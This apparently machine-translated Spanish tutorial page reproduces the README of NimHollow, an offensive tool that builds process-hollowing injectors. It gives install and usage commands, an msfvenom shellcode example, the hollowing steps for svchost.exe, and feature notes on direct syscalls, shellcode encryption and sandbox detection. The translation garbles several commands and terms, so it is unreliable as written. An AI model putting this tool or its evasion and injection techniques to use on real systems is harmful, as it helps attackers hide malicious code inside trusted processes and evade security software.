Tutoriales

Nim usa llamadas al sistema para implementar el vaciado de procesos

Hueco de Nimes Es Nim el que usa llamadas al sistema (PoC) para implementar el vaciado de procesos. Utilice la técnica Process Hollowing con Nim.

rasgo

  • Utilice NimlineWhispers o NimlineWhispers2 para activar llamadas directas del sistema a funciones API nativas de Windows.
  • Cifrado/descifrado de Shellcode usando AES en modo CTR.
  • Método simple de detección de sandbox del curso OSEP de @offensive-security.

Descargo de responsabilidad. Toda la información contenida en este repositorio es solo para fines educativos y de investigación. El autor no es responsable del uso ilegal de esta herramienta.

uso

Instalar en pc

~$ git clone –recurse-submodules https://github.com/snovvcrash/NimHollow && cd NimHollow
~$ actualización del submódulo git –init –recursivo
~$ instalación flexible winim nimcrypto
~$ pip3 install -r requisitos.txt
~$ sudo apt install upx -y

ejemplo

~$ msfvenom -p windows/x64/messagebox TITLE=’MSF’ TEXT=’¡Hackea el planeta! ‘ EXITFUNC=hilo -f raw -o shellcode.bin
~$ python3 NimHollow.py shellcode.bin -i ‘C:\Windows\System32\svchost.exe’ -o inyector –upx –rm [–whispers2]
~$ archivo inyector.exe
injector.exe: PE32+ ejecutable (consola) x86-64 (desmontado a PDB externo) para MS Windows

ayuda

Uso: NimHollow.py [-h] [-i IMAGE] [-o OUTPUT] [–whispers2] [–debug] [–upx] [–rm] shellcode_bin
Parámetros posicionales:
shellcode_bin Ruta al archivo de shellcode original
Parámetros opcionales:
-h, –help muestra este mensaje de ayuda y sale
-i imagen, -imagen imagen
La imagen del proceso es hueca (por defecto «C:\Windows\System32\svchost.exe»)
-o salida, –salida salida
Nombre del archivo de salida
–whispers2 usa NimlineWhispers2 para generar syscalls.nim
–debug no elimina los mensajes de depuración de los binarios de Nim
–upx Comprimir binarios de Nim con upx
-rm eliminar archivos Nim después de compilar binarios

Recorte artesanal en presentación de diapositivas

1. Cree el proceso de destino (por ejemplo, svchost.exe) está en pausa.

2. Consulte el proceso creado para extraer su puntero de dirección base del PEB (fósforoProceso Segundoambiente SegundoCerrar con llave).

3. Lea la memoria de 8 bytes a la que apunta la dirección base de la imagen (para arquitectura de 64 bits) puntero Para obtener el valor real de la dirección base de la imagen.

4. Lea los 0x200 bytes de la imagen EXE cargada y analice la estructura PE para obtener la dirección EntryPoint.

5. Escriba el shellcode en la dirección EntryPoint para reanudar la ejecución del subproceso.

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada.

Botón volver arriba